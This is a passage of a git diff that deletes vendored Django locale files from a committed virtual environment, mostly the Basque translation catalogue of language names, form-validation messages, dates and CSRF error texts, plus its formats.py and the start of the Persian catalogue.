"Bosniera" - -msgid "Catalan" -msgstr "Katalana" - -msgid "Central Kurdish (Sorani)" -msgstr "" - -msgid "Czech" -msgstr "Txekiera" - -msgid "Welsh" -msgstr "Galesa" - -msgid "Danish" -msgstr "Daniera" - -msgid "German" -msgstr "Alemana" - -msgid "Lower Sorbian" -msgstr "Behe-sorbiera" - -msgid "Greek" -msgstr "Greziera" - -msgid "English" -msgstr "Ingelesa" - -msgid "Australian English" -msgstr "Australiar ingelesa" - -msgid "British English" -msgstr "Ingelesa" - -msgid "Esperanto" -msgstr "Esperantoa" - -msgid "Spanish" -msgstr "Gaztelania" - -msgid "Argentinian Spanish" -msgstr "Gaztelania (Argentina)" - -msgid "Colombian Spanish" -msgstr "Gaztelania (Kolonbia)" - -msgid "Mexican Spanish" -msgstr "Gaztelania (Mexiko)" - -msgid "Nicaraguan Spanish" -msgstr "Gaztelania (Nikaragua)" - -msgid "Venezuelan Spanish" -msgstr "Gaztelania (Venezuela)" - -msgid "Estonian" -msgstr "Estoniera" - -msgid "Basque" -msgstr "Euskara" - -msgid "Persian" -msgstr "Persiera" - -msgid "Finnish" -msgstr "Finlandiera" - -msgid "French" -msgstr "Frantsesa" - -msgid "Frisian" -msgstr "Frisiera" - -msgid "Irish" -msgstr "Irlandako gaelikoa" - -msgid "Scottish Gaelic" -msgstr "Eskoziako gaelikoa" - -msgid "Galician" -msgstr "Galiziera" - -msgid "Hebrew" -msgstr "Hebreera" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroaziera" - -msgid "Upper Sorbian" -msgstr "Goi-sorbiera" - -msgid "Hungarian" -msgstr "Hungariera" - -msgid "Armenian" -msgstr "Armeniera" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesiera" - -msgid "Igbo" -msgstr "Igboera" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandiera" - -msgid "Italian" -msgstr "Italiera" - -msgid "Japanese" -msgstr "Japoniera" - -msgid "Georgian" -msgstr "Georgiera" - -msgid "Kabyle" -msgstr "Kabylera" - -msgid "Kazakh" -msgstr "Kazakhera" - -msgid "Khmer" -msgstr "Khmerera" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreera" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luxenburgera" - -msgid "Lithuanian" -msgstr "Lituaniera" - -msgid "Latvian" -msgstr "Letoniera" - -msgid "Macedonian" -msgstr "Mazedoniera" - -msgid "Malayalam" -msgstr "Malabarera" - -msgid "Mongolian" -msgstr "Mongoliera" - -msgid "Marathi" -msgstr "Marathera" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "Birmaniera" - -msgid "Norwegian Bokmål" -msgstr "Bokmåla (Norvegia)" - -msgid "Nepali" -msgstr "Nepalera" - -msgid "Dutch" -msgstr "Nederlandera" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk (Norvegia)" - -msgid "Ossetic" -msgstr "Osetiera" - -msgid "Punjabi" -msgstr "Punjabera" - -msgid "Polish" -msgstr "Poloniera" - -msgid "Portuguese" -msgstr "Portugesa" - -msgid "Brazilian Portuguese" -msgstr "Portugesa (Brazil)" - -msgid "Romanian" -msgstr "Errumaniera" - -msgid "Russian" -msgstr "Errusiera" - -msgid "Slovak" -msgstr "Eslovakiera" - -msgid "Slovenian" -msgstr "Esloveniera" - -msgid "Albanian" -msgstr "Albaniera" - -msgid "Serbian" -msgstr "Serbiera" - -msgid "Serbian Latin" -msgstr "Serbiera" - -msgid "Swedish" -msgstr "Suediera" - -msgid "Swahili" -msgstr "Swahilia" - -msgid "Tamil" -msgstr "Tamilera" - -msgid "Telugu" -msgstr "Telugua" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Thailandiera" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turkiera" - -msgid "Tatar" -msgstr "Tatarera" - -msgid "Udmurt" -msgstr "Udmurtera" - -msgid "Uyghur" -msgstr "" - -msgid "Ukrainian" -msgstr "Ukrainera" - -msgid "Urdu" -msgstr "Urdua" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamera" - -msgid "Simplified Chinese" -msgstr "Txinera (sinpletua)" - -msgid "Traditional Chinese" -msgstr "Txinera (tradizionala)" - -msgid "Messages" -msgstr "Mezuak" - -msgid "Site Maps" -msgstr "Sitemap-ak" - -msgid "Static Files" -msgstr "Fitxategi estatikoak" - -msgid "Syndication" -msgstr "Sindikazioa" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Orrialde hori ez da zenbaki bat" - -msgid "That page number is less than 1" -msgstr "Orrialde zenbaki hori 1 baino txikiagoa da" - -msgid "That page contains no results" -msgstr "Orrialde horrek ez du emaitzarik" - -msgid "Enter a valid value." -msgstr "Idatzi baleko balio bat." - -msgid "Enter a valid domain name." -msgstr "" - -msgid "Enter a valid URL." -msgstr "Idatzi baleko URL bat." - -msgid "Enter a valid integer." -msgstr "Idatzi baleko zenbaki bat." - -msgid "Enter a valid email address." -msgstr "Idatzi baleko helbide elektroniko bat." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "" - -msgid "IPv4" -msgstr "" - -msgid "IPv6" -msgstr "" - -msgid "IPv4 or IPv6" -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "Idatzi komaz bereizitako digitoak soilik." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Ziurtatu balio hau gutxienez %(limit_value)s dela (orain %(show_value)s da)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ziurtatu balio hau %(limit_value)s baino txikiagoa edo berdina dela." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ziurtatu balio hau %(limit_value)s baino handiagoa edo berdina dela." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ziurtatu balio honek gutxienez karaktere %(limit_value)d duela " -"(%(show_value)d ditu)." -msgstr[1] "" -"Ziurtatu balio honek gutxienez %(limit_value)d karaktere dituela " -"(%(show_value)d ditu)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ziurtatu balio honek gehienez karaktere %(limit_value)d duela " -"(%(show_value)d ditu)." -msgstr[1] "" -"Ziurtatu balio honek gehienez %(limit_value)d karaktere dituela " -"(%(show_value)d ditu)." - -msgid "Enter a number." -msgstr "Idatzi zenbaki bat." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Ziurtatu digitu %(max)s baino gehiago ez dagoela guztira." -msgstr[1] "Ziurtatu %(max)s digitu baino gehiago ez dagoela guztira." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Ziurtatu ez dagoela digitu %(max)s baino gehiago komaren atzetik." -msgstr[1] "Ziurtatu ez dagoela %(max)s digitu baino gehiago komaren atzetik." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Ziurtatu ez dagoela digitu %(max)s baino gehiago komaren aurretik." -msgstr[1] "Ziurtatu ez dagoela %(max)s digitu baino gehiago komaren aurretik." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "Null karaktereak ez daude baimenduta." - -msgid "and" -msgstr "eta" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(field_labels)s hauek dauzkan %(model_name)s dagoeneko existitzen da." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r balioa ez da baleko aukera bat." - -msgid "This field cannot be null." -msgstr "Eremu hau ezin daiteke hutsa izan (null)." - -msgid "This field cannot be blank." -msgstr "Eremu honek ezin du hutsik egon." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s hori daukan %(model_name)s dagoeneko existitzen da." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Eremuaren mota: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "\"%(value)s\" blioa True edo False izan behar da." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "\"%(value)s\" balioa, True, False edo None izan behar da." - -msgid "Boolean (Either True or False)" -msgstr "Boolearra (True edo False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String-a (%(max_length)s gehienez)" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "Komaz bereiztutako zenbaki osoak" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"\"%(value)s\" balioa data formatu okerra dauka. UUUU-HH-EE formatua izan " -"behar da." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"\"%(value)s\" balioa formatu egokia dauka (UUUU-HH-EE), baina data okerra." - -msgid "Date (without time)" -msgstr "Data (ordurik gabe)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Data (orduarekin)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "\"%(value)s\" balioa zenbaki hamartarra izan behar da." - -msgid "Decimal number" -msgstr "Zenbaki hamartarra" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"\"%(value)s\" balioa formatu okerra dauka. [EE][[OO:]MM:]ss[.uuuuuu] " -"formatua izan behar du." - -msgid "Duration" -msgstr "Iraupena" - -msgid "Email address" -msgstr "Helbide elektronikoa" - -msgid "File path" -msgstr "Fitxategiaren bidea" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "\"%(value)s\" float izan behar da." - -msgid "Floating point number" -msgstr "Koma higikorreko zenbakia (float)" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "\"%(value)s\" zenbaki osoa izan behar da." - -msgid "Integer" -msgstr "Zenbaki osoa" - -msgid "Big (8 byte) integer" -msgstr "Zenbaki osoa (handia 8 byte)" - -msgid "Small integer" -msgstr "Osoko txikia" - -msgid "IPv4 address" -msgstr "IPv4 sare-helbidea" - -msgid "IP address" -msgstr "IP helbidea" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "\"%(value)s\" None, True edo False izan behar da." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolearra (True, False edo None)" - -msgid "Positive big integer" -msgstr "Zenbaki positivo osoa-handia" - -msgid "Positive integer" -msgstr "Osoko positiboa" - -msgid "Positive small integer" -msgstr "Osoko positibo txikia" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (gehienez %(max_length)s)" - -msgid "Text" -msgstr "Testua" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Ordua" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datu bitar gordinak" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "\"Universally unique identifier\"" - -msgid "File" -msgstr "Fitxategia" - -msgid "Image" -msgstr "Irudia" - -msgid "A JSON object" -msgstr "JSON objektu bat" - -msgid "Value must be valid JSON." -msgstr "Balioa baliozko JSON bat izan behar da." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -"%(field)s %(value)r edukidun %(model)s modeloko instantziarik ez da " -"exiistitzen." - -msgid "Foreign Key (type determined by related field)" -msgstr "1-N (mota erlazionatutako eremuaren arabera)" - -msgid "One-to-one relationship" -msgstr "Bat-bat erlazioa" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s erlazioa" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s erlazioak" - -msgid "Many-to-many relationship" -msgstr "M:N erlazioa" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Eremu hau beharrezkoa da." - -msgid "Enter a whole number." -msgstr "Idatzi zenbaki oso bat." - -msgid "Enter a valid date." -msgstr "Idatzi baleko data bat." - -msgid "Enter a valid time." -msgstr "Idatzi baleko ordu bat." - -msgid "Enter a valid date/time." -msgstr "Idatzi baleko data/ordu bat." - -msgid "Enter a valid duration." -msgstr "Idatzi baleko iraupen bat." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Egun kopuruak {min_days} eta {max_days} artean egon behar du." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ez da fitxategirik bidali. Egiaztatu formularioaren kodeketa-mota." - -msgid "No file was submitted." -msgstr "Ez da fitxategirik bidali." - -msgid "The submitted file is empty." -msgstr "Bidalitako fitxategia hutsik dago." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Ziurtatu fitxategi izen honek gehienez karaktere %(max)d duela (%(length)d " -"ditu)." -msgstr[1] "" -"Ziurtatu fitxategi izen honek gehienez %(max)d karaktere dituela (%(length)d " -"ditu)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Mesedez, igo fitxategi bat edo egin klik garbitu botoian, ez biak." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Igo baleko irudi bat. Zuk igotako fitxategia ez da irudi bat edo akatsen bat " -"du." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Hautatu baleko aukera bat. %(value)s ez dago erabilgarri." - -msgid "Enter a list of values." -msgstr "Idatzi balio-zerrenda bat." - -msgid "Enter a complete value." -msgstr "Sartu balio osoa." - -msgid "Enter a valid UUID." -msgstr "Idatzi baleko UUID bat." - -msgid "Enter a valid JSON." -msgstr "Sartu baliozko JSON bat" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(%(name)s eremu ezkutua) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Ordena" - -msgid "Delete" -msgstr "Ezabatu" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Zuzendu bikoiztketa %(field)s eremuan." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Zuzendu bikoizketa %(field)s eremuan. Bakarra izan behar da." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Zuzendu bakarra izan behar den%(field_name)s eremuarentzako bikoiztutako " -"data %(lookup)s egiteko %(date_field)s eremuan" - -msgid "Please correct the duplicate values below." -msgstr "Zuzendu hurrengo balio bikoiztuak." - -msgid "The inline value did not match the parent instance." -msgstr "Barneko balioa eta gurasoaren instantzia ez datoz bat." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Hautatu aukera zuzen bat. Hautatutakoa ez da zuzena." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Garbitu" - -msgid "Currently" -msgstr "Orain" - -msgid "Change" -msgstr "Aldatu" - -msgid "Unknown" -msgstr "Ezezaguna" - -msgid "Yes" -msgstr "Bai" - -msgid "No" -msgstr "Ez" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "bai,ez,agian" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "byte %(size)d " -msgstr[1] "%(size)d byte" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "gauerdia" - -msgid "noon" -msgstr "eguerdia" - -msgid "Monday" -msgstr "astelehena" - -msgid "Tuesday" -msgstr "asteartea" - -msgid "Wednesday" -msgstr "asteazkena" - -msgid "Thursday" -msgstr "osteguna" - -msgid "Friday" -msgstr "ostirala" - -msgid "Saturday" -msgstr "larunbata" - -msgid "Sunday" -msgstr "igandea" - -msgid "Mon" -msgstr "al" - -msgid "Tue" -msgstr "ar" - -msgid "Wed" -msgstr "az" - -msgid "Thu" -msgstr "og" - -msgid "Fri" -msgstr "ol" - -msgid "Sat" -msgstr "lr" - -msgid "Sun" -msgstr "ig" - -msgid "January" -msgstr "urtarrila" - -msgid "February" -msgstr "otsaila" - -msgid "March" -msgstr "martxoa" - -msgid "April" -msgstr "apirila" - -msgid "May" -msgstr "maiatza" - -msgid "June" -msgstr "ekaina" - -msgid "July" -msgstr "uztaila" - -msgid "August" -msgstr "abuztua" - -msgid "September" -msgstr "iraila" - -msgid "October" -msgstr "urria" - -msgid "November" -msgstr "azaroa" - -msgid "December" -msgstr "abendua" - -msgid "jan" -msgstr "urt" - -msgid "feb" -msgstr "ots" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "api" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "eka" - -msgid "jul" -msgstr "uzt" - -msgid "aug" -msgstr "abu" - -msgid "sep" -msgstr "ira" - -msgid "oct" -msgstr "urr" - -msgid "nov" -msgstr "aza" - -msgid "dec" -msgstr "abe" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "urt." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ots." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "api." - -msgctxt "abbrev. month" -msgid "May" -msgstr "mai." - -msgctxt "abbrev. month" -msgid "June" -msgstr "eka." - -msgctxt "abbrev. month" -msgid "July" -msgstr "uzt." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "abu." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ira." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "urr." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "aza." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "abe." - -msgctxt "alt. month" -msgid "January" -msgstr "urtarrila" - -msgctxt "alt. month" -msgid "February" -msgstr "otsaila" - -msgctxt "alt. month" -msgid "March" -msgstr "martxoa" - -msgctxt "alt. month" -msgid "April" -msgstr "apirila" - -msgctxt "alt. month" -msgid "May" -msgstr "maiatza" - -msgctxt "alt. month" -msgid "June" -msgstr "ekaina" - -msgctxt "alt. month" -msgid "July" -msgstr "uztaila" - -msgctxt "alt. month" -msgid "August" -msgstr "abuztua" - -msgctxt "alt. month" -msgid "September" -msgstr "iraila" - -msgctxt "alt. month" -msgid "October" -msgstr "urria" - -msgctxt "alt. month" -msgid "November" -msgstr "azaroa" - -msgctxt "alt. month" -msgid "December" -msgstr "abendua" - -msgid "This is not a valid IPv6 address." -msgstr "Hau ez da baleko IPv6 helbide bat." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "edo" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "urte %(num)d" -msgstr[1] "%(num)d urte" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "hilabete %(num)d" -msgstr[1] "%(num)d hilabete" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "aste %(num)d" -msgstr[1] "%(num)d aste" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "egun %(num)d" -msgstr[1] "%(num)d egun" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "ordu %(num)d" -msgstr[1] "%(num)d ordu" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "minutu %(num)d" -msgstr[1] "%(num)d minutu" - -msgid "Forbidden" -msgstr "Debekatuta" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF egiaztapenak huts egin du. Eskaera abortatu da." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Formularioa bidaltzean gune honek CSRF cookie bat behar duelako ikusten duzu " -"mezu hau. Cookie hau beharrezkoa da segurtasun arrazoiengatik, zure " -"nabigatzailea beste batek ordezkatzen ez duela ziurtatzeko." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Informazio gehiago erabilgarri dago DEBUG=True ezarrita." - -msgid "No year specified" -msgstr "Ez da urterik zehaztu" - -msgid "Date out of range" -msgstr "Data baliozko tartetik kanpo" - -msgid "No month specified" -msgstr "Ez da hilabeterik zehaztu" - -msgid "No day specified" -msgstr "Ez da egunik zehaztu" - -msgid "No week specified" -msgstr "Ez da asterik zehaztu" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ez dago %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Etorkizuneko %(verbose_name_plural)s ez dago aukeran %(class_name)s." -"allow_future False delako" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Bilaketarekin bat datorren %(verbose_name)s-rik ez dago" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Orri baliogabea (%(page_number)s):%(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Direktorio zerrendak ez daude baimenduak." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" ez da existitzen" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s zerrenda" - -msgid "The install worked successfully! Congratulations!" -msgstr "Instalazioak arrakastaz funtzionatu du! Zorionak!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Ikusi Django %(version)s-ren argitaratze " -"oharrak" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Zure settings fitxategian DEBUG=True jarrita eta URLrik konfiguratu gabe duzulako " -"ari zara ikusten orrialde hau." - -msgid "Django Documentation" -msgstr "Django dokumentazioa" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "Tutoriala: Galdetegi aplikazioa" - -msgid "Get started with Django" -msgstr "Hasi Djangorekin" - -msgid "Django Community" -msgstr "Django Komunitatea" - -msgid "Connect, get help, or contribute" -msgstr "Konektatu, lortu laguntza edo lagundu" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eu/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/eu/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eu/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/eu/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 0c0e658f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/eu/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eu/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/eu/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 651147e8..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/eu/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/eu/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/eu/formats.py deleted file mode 100644 index 61b16fbc..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/eu/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = r"Y\k\o N j\a" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"Y\k\o N j\a, H:i" -YEAR_MONTH_FORMAT = r"Y\k\o F" -MONTH_DAY_FORMAT = r"F\r\e\n j\a" -SHORT_DATE_FORMAT = "Y-m-d" -SHORT_DATETIME_FORMAT = "Y-m-d H:i" -FIRST_DAY_OF_WEEK = 1 # Astelehena - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fa/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/fa/LC_MESSAGES/django.mo deleted file mode 100644 index c131325e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fa/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fa/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/fa/LC_MESSAGES/django.po deleted file mode 100644 index 440cf8e3..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fa/LC_MESSAGES/django.po +++ /dev/null @@ -1,1343 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ahmad Hosseini , 2020 -# alirezamastery , 2021 -# ali salehi, 2023 -# Ali Vakilzade , 2015 -# Arash Fazeli , 2012 -# Eric Hamiter , 2019 -# Eshagh , 2022 -# Farshad Asadpour, 2021 -# Jannis Leidel , 2011 -# Mariusz Felisiak , 2021 -# Mazdak Badakhshan , 2014 -# Milad Hazrati , 2019 -# MJafar Mashhadi , 2018 -# Mohammad Hossein Mojtahedi , 2013,2019 -# Pouya Abbassi, 2016 -# Pouya Abbassi, 2016 -# rahim agh , 2020-2021 -# Reza Mohammadi , 2013-2016 -# 